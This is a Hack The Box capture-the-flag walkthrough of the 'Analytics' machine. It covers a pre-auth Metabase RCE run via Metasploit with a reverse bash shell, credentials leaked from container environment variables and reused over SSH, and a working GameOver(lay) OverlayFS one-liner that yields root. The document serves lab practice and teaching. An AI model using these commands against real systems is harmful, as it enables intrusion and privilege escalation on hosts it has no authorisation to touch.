HACK THE BOX · MACHINE WRITEUP

Analytics



A pre-auth Metabase RCE (CVE-2023-38646) leaks container env credentials reused over SSH. GameOver(lay) (CVE-2023-2640 / CVE-2023-32629) grants root

Linux | Easy | CVE | Docker | Kernel | Credential Reuse

Made with **SysReptor**



10.10.11.233	gugeldot	2025-06-06
Target IP	Author	Date

ANALYTICS · WALKTHROUGH

Contents

01 General information . . . 3
1.1 Executive summary . . . 3
1.2 Kill chain . . . 3
02 Reconnaissance . . . 4
03 Foothold . . . 4
04 Privilege escalation . . . 6
05 Flags . . . 6
06 Notes & lessons . . . 7
07 References . . . 7

1. General information

A pre-auth Metabase RCE (CVE-2023-38646) leaks container env credentials reused over SSH. GameOver(lay) (CVE-2023-2640 / CVE-2023-32629) grants root

PLATFORM	Hack The Box
SYSTEM	Linux
DIFFICULTY	Easy
IP	`10.10.11.233`
TAGS	`CVE` `Docker` `Kernel` `Credential Reuse`
CVES	`CVE-2023-38646` `CVE-2023-2640` `CVE-2023-32629`

1.1 Executive summary

Analytics is a Linux machine running a vulnerable **Metabase** instance. A pre-authentication remote code execution bug (CVE-2023-38646) gives a shell inside its Docker container, whose environment variables leak credentials reused for SSH on the host. The host's Ubuntu 22.04 kernel is then vulnerable to the GameOver(lay) OverlayFS bug (CVE-2023-2640 / CVE-2023-32629), exploited with a public one-liner to get root.

1.2 Kill chain

1. A directory scan against the apex domain (`analytical.htb`) turns up nothing of note. Virtual host fuzzing instead finds `data.analytical.htb`, running a vulnerable **Metabase** (0.46.6).
2. `searchsploit` surfaces a matching public pre-auth RCE (exploit-db 51797) for **CVE-2023-38646**, a setup-token authentication bypass. The Metasploit module `exploit/linux/http/metabase_setup_token_rce` is run against the vhost with a `cmd/unix/reverse_bash` payload, giving command execution.
3. The shell lands inside a **Docker container** (confirmed via `/.dockerenv`). `printenv` leaks `META_USER`/`META_PASS`.

4 Those credentials are reused for SSH on the real host: user flag.

5 The host runs Ubuntu 22.04.3 with a kernel vulnerable to the **GameOver(lay)** OverlayFS bug (CVE-2023-2640 / CVE-2023-32629). A public `unshare`/`setcap`/OverlayFS one-liner is run to get a root shell: root flag.

2. Reconnaissance

Port scan

```
sudo nmap --open -Pn -sS --min-rate 5000 -p- 10.10.11.233
```

Results:

```
22/tcp open  ssh
80/tcp open  http
```

Service & version scan

```
nmap -sCV -p22,80 10.10.11.233
```

```
22/tcp open  ssh   OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open  http  nginx 1.18.0 (Ubuntu)
|_http-title: Analytical
```

3. Foothold

A directory scan against the apex domain turns up only the static site's own asset folders, nothing of substance:

```
gobuster dir --url http://analytical.htb -w SecLists/common.txt -x php,html
```

```
/css        (Status: 301)
/images     (Status: 301)
/index.html (Status: 200)
/js         (Status: 301)
```

Virtual host fuzzing against the same domain is more productive:

```
ffuf -w SecLists/subdomains_tiny.txt -u http://FUZZ.analytical.htb -H "Host:
FUZZ.analytical.htb" -fc 404
```

and surfaces a `data` subdomain. `whatweb` fingerprints `data.analytical.htb` as a **Metabase** instance:

```
whatweb http://data.analytical.htb/auth/login?redirect=%2F
```

```
... Cookies[metabase.DEVICE] ... Title[Metabase] ...
```

`searchsploit metabase` lists a public exploit matching this exact build:

```
Metabase 0.46.6 - Pre-Auth Remote Code Execution | linux/webapps/51797.py
```

This corresponds to **CVE-2023-38646**. Before the fix, Metabase's `/api/session/properties` endpoint keeps leaking an internal setup-token even after the initial setup wizard has already run, and that token is accepted by the supposedly one-time `/api/setup/validate` endpoint without any authentication. From there, an attacker can register a custom H2 database connection whose JDBC URL is abused to execute arbitrary code during driver initialization, giving pre-auth remote code execution.

Rather than hand-rolling the public Python exploit, the Metasploit module built for this bug is used directly against the vhost:

```
exploit/linux/http/metabase_setup_token_rce

RHOSTS     data.analytical.htb
RPORT      80
TARGETURI  /
VHOST      data.analytical.htb
Payload    cmd/unix/reverse_bash
LHOST      <attacker_ip>
LPORT      4444
```

Running it lands a reverse shell as the Metabase service user.

The resulting shell is sparse and oddly empty for what should be a full host. Checking the filesystem root turns up a `/.dockerenv` file, confirming the shell is actually running **inside a Docker container**, not on the real machine. Dumping the environment with `printenv` leaks plaintext credentials meant for the application's own database connection:

```
printenv
# META_USER=metalytics
# META_PASS=An4lytics_ds20223#
```

Those same credentials are valid for the Linux account `metalytics` over SSH on the real host, giving the user flag.

4. Privilege escalation

GameOver(lay): CVE-2023-2640 / CVE-2023-32629

`lsb_release --all` identifies the host as Ubuntu 22.04.3 LTS. A `linpeas` run finds nothing exploitable in the usual spots: no usable sudo rights, no interesting SUID binaries, no cron jobs. The escalation has to come from the kernel itself, and this Ubuntu 22.04 build is affected by **GameOver(lay)**, a pair of related OverlayFS vulnerabilities documented by Wiz Research (CVE-2023-2640 and CVE-2023-32629): an unprivileged user namespace is allowed to mount an OverlayFS filesystem and assign extended file capabilities, such as `cap_setuid`, to a file inside it, and the kernel keeps trusting that capability once the file is merged back into the real, root-owned namespace.

The public one-liner for this bug is run directly on the box:

```
unshare -rm sh -c
"mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3; \
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" \
&& u/python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'
```

It creates a new user and mount namespace, copies `/usr/bin/python3` into a lower directory, grants that copy `cap_setuid`, then mounts an OverlayFS view combining the lower directory with an upper/work directory so the capability gets written back as a real extended attribute visible outside the namespace. The resulting `python3` binary can call `os.setuid(0)` and spawn a root shell, giving the root flag.

5. Flags

USER.TXT	ROOT.TXT
f2cc••••••••••••	e2fb••••••••••••

6. Notes & lessons

- **New techniques:** exploiting Metabase's leaked setup-token (CVE-2023-38646) via a custom H2 JDBC connection string for pre-auth RCE, and GameOver(lay) OverlayFS privilege escalation via `unshare` + `setcap`, without needing a compiled exploit.
- **Interesting:** the "foothold" and "real host" split is identical in shape to MonitorsTwo: a web RCE only reaches a container, and host access comes from leaked env-var credentials.

7. References

- CVE-2023-38646: Metabase pre-auth RCE
- CVE-2023-2640 / CVE-2023-32629: GameOver(lay) OverlayFS privilege escalation
- Wiz Research: *GameOver(lay)*, two OverlayFS vulnerabilities in the Ubuntu kernel (wiz.io/blog/ubuntu-overlayfs-vulnerability)